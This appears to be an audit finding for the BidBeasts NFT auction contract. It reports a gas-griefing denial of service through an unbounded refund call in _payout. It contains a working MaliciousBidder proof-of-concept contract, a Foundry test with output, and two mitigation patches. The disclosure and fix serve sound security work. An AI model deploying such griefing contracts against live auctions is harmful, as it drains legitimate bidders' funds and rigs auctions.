Unbounded .call in _payout allows gas-intensive receive functions, inflating bidding costs and deterring legitimate bidders

Description

• Whenever someone places a new bid using BidBeastsNFTMarketPlace::placeBid, the contract attempts to pay out the previous highest bidder through BidBeastsNFTMarketPlace::_payout function:

  // lines 127-129 in placeBid

  if (previousBidder != address(0)) {

  @> _payout(previousBidder, previousBidAmount);

  }

  ​

  ...

  ​

  // lines 172-174 in placeBid

  if (previousBidder != address(0)) {

  @> _payout(previousBidder, previousBidAmount);

  }

  ​

  ...

  ​

  // lines 227-233

  @> function _payout(address recipient, uint256 amount) internal {

  if (amount == 0) return;

  @> (bool success, ) = payable(recipient).call{value: amount}("");

  if (!success) {

  failedTransferCredits[recipient] += amount;

  }

  }
  
  

• This _payout function implements a "partial pull-based mechanism" for the refunds. The reason I say "partial" is that, at first, it tries to send the Ether directly to the previous bidder using a low-level call. If that fails, then it credits the amount to failedTransferCredits, allowing the user to withdraw it later.

  
  

• But that's where an issue is hiding in plain sight. Picture this:

  • Alice wants an NFT so bad that she doesn't mind doing some malicious activities to get it.

  • For this, she creates a contract to bid for the NFT, but in a way that if someone tries to send her Ether, it will consume a lot of gas. Something like this:

    receive() external payable {

    for (uint256 i = 0; i < 2435000; i++) {

    i * i;

    }

    }

  • After placing the bid, Alice's contract becomes the highest bidder so far. But then Bob appears, in the hope of winning the auction, and places a higher bid.

  • However, when Bob's bid is in process, the contract tries to pay out Alice (the previous highest bidder) by calling her contract's receive function.

  • Since Alice's receive function is designed to consume a lot of gas; it will be really expensive for Bob to place his bid, and it will probably make him think twice before making the decision.

  • If Alice keeps doing this, it can lead to a situation where no one else can afford to outbid her, effectively locking the auction in her favour.

• This is a classic example of an economic denial of service (EDoS) attack, where the attacker exploits the gas consumption to make it economically unfeasible for others to participate in the auction.

Risk

Likelihood: High

• This auction doesn't restrict contracts from bidding, making it easy for attackers to exploit this vulnerability.

Impact: High

• Auction Manipulation: Attackers can deter legitimate bidders, dominating auctions.

• Financial Loss:

  • For Bidders: Legitimate bidders may lose out on winning auctions due to high gas costs, and those who attempt to bid will pay exorbitant gas fees.

  • For Sellers: Sellers may receive lower final prices for their NFTs as fewer bidders participate.

Proof of Concept

• Add this MaliciousBidder contract in the test file:

  contract MaliciousBidder {

  BidBeastsNFTMarket public market;

  ​

  constructor(address _market) {

  market = BidBeastsNFTMarket(_market);

  }

  ​

  function bid(uint256 tokenId) public payable {

  market.placeBid{value: msg.value}(tokenId);

  }

  ​

  receive() external payable {

  // One of the ways to consume a lot of gas

  for (uint256 i = 0; i < 2435000; i++) {

  i * i;

  }

  }

  }
  
  

• After that, add this particular test_dosAttackViaMaliciousContract test in the test file:

  function test_dosAttackViaMaliciousContract() public {

  // First, let's mint and list NFT

  _mintNFT();

  _listNFT();

  ​

  // Set a gas price (trying to keep it realistic, one can easily pick the latest one from: https://etherscan.io/gastracker)

  uint256 currentGasPrice = 392000000; // 0.392 gwei in wei

  vm.txGasPrice(currentGasPrice);

  ​

  console.log("=== DoS Attack Cost Analysis ===");

  console.log("Gas price set to:", currentGasPrice, "wei (0.392 gwei)");

  ​

  // Let's deploy the maliciousBidder contract

  MaliciousBidder maliciousBidder = new MaliciousBidder(address(market));

  ​

  // Gas at the start

  uint256 gasStart = gasleft();

  ​

  // placing bid through maliciousBidder contract

  maliciousBidder.bid{value: BID_AMOUNT}(TOKEN_ID);

  ​

  uint256 afterMaliciousBidderCall = gasStart - gasleft();

  console.log();

  console.log("MaliciousBidder placed initial bid");

  console.log("Gas used in MaliciousBidder call (normal scenario):", afterMaliciousBidderCall);

  ​

  // Now let's play the role of BIDDER_1, which actually decided to buy the nft right away

  uint256 bidderGasStart = gasleft();

  vm.prank(BIDDER_1);

  market.placeBid{value: BUY_NOW_PRICE}(TOKEN_ID);

  console.log();

  console.log("BIDDER_1 placed the next bid");

  ​

  uint256 afterBidder1Call = bidderGasStart - gasleft();

  console.log("Gas used in BIDDER_1 call (expensive scenario):", afterBidder1Call);

  ​

  // Calculate real-world costs (approx.)

  uint256 costInWei = afterBidder1Call * currentGasPrice;

  ​

  console.log();

  console.log("=== ATTACK RESULTS ===");

  console.log("Gas units consumed by victim (BIDDER_1):", afterBidder1Call);

  // Try using https://eth-converter.com/ to convert wei to eth or usd

  console.log("Approximate cost of call in wei:", costInWei, "wei");

  ​

  // Check whether `failedTransferCredits` have the amount or not...

  uint256 amount = market.failedTransferCredits(address(maliciousBidder));

  ​

  console.log();

  console.log("MaliciousBidder's Balance", address(maliciousBidder).balance);

  ​

  // Sometimes `failedTransferCredits` might be non-zero (although that wasn't the case when I ran these tests), but still, a lot of gas will be consumed anyway

  console.log("Amount in failedTransferCredits for MaliciousBidder contract:", amount);

  }
  
  

• Run the above test using the command:

  forge test --mt test_dosAttackViaMaliciousContract -vv
  
  

• The output we get:

  Ran 1 test for test/BidBeastsMarketPlaceTest.t.sol:BidBeastsNFTMarketTest

  [PASS] test_dosAttackViaMaliciousContract() (gas: 1040287009)

  Logs:

  === DoS Attack Cost Analysis ===

  Gas price set to: 392000000 wei (0.392 gwei)

  ​

  MaliciousBidder placed initial bid

  Gas used in MaliciousBidder call (normal scenario): 87502

  ​

  BIDDER_1 placed the next bid

  Gas used in BIDDER_1 call (expensive scenario): 1039826460

  ​

  === ATTACK RESULTS ===

  Gas units consumed by victim (BIDDER_1): 1039826460

  Approximate cost of call in wei: 407611972320000000 wei

  ​

  MaliciousBidder's Balance 1200000000000000000

  Amount in failedTransferCredits for MaliciousBidder contract: 0

  ​

  Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.64s (3.64s CPU time)

Recommended Mitigation

There are two approaches the protocol can take to mitigate this issue; one is comparatively easier to implement, with not many changes, whereas the other is a more robust solution. Moreover, the way protocol wants their auctions to be run (the UX) will also influence the choice of mitigation:

1. Implement Gas Limits on External Calls (less preferred, and thus easier): Introduce a gas limit to prevent high gas consumption during payouts. For example, a gas limit of 30000 works fine, and fails the above test we just implemented in the Proof of Concept section. But do keep in mind, the attackers can still consume up to the limit.

   function _payout(address recipient, uint256 amount) internal {

   if (amount == 0) return;

   - (bool success, ) = payable(recipient).call{value: amount}("");

   + (bool success, ) = payable(recipient).call{value: amount, gas: 30000}("");

   if (!success) {

   failedTransferCredits[recipient] += amount;

   }

   }
   
   

2. Adopt a complete Pull-based Refund Mechanism: Instead of immediately attempting to return the bid amount to the previous bidder, the contract should credit the amount to a mapping—similar to how failedTransferCredits works—allowing bidders to withdraw their funds themselves. This aligns with best practices (e.g., OpenSea) and prevents EDoS attacks

   + mapping(address => uint256) public pendingReturns;

   ​

   ...

   ​

   function _payout(address recipient, uint256 amount) internal {

   if (amount == 0) return;

   + pendingReturns[recipient] += amount;

   - (bool success, ) = payable(recipient).call{value: amount}

   - if(!success) {

   - failedTransferCredits[recipient] += amount;

   - }

   }

   ​

   ...

   ​

   + function withdrawPendingReturns() external {

   + uint256 amount = pendingReturns[msg.sender];

   + require(amount > 0, "No funds to withdraw");

   + pendingReturns[msg.sender] = 0;

   + (bool success, ) = payable(msg.sender).call{value: amount}("");

   + require(success, "Withdraw failed");

   + }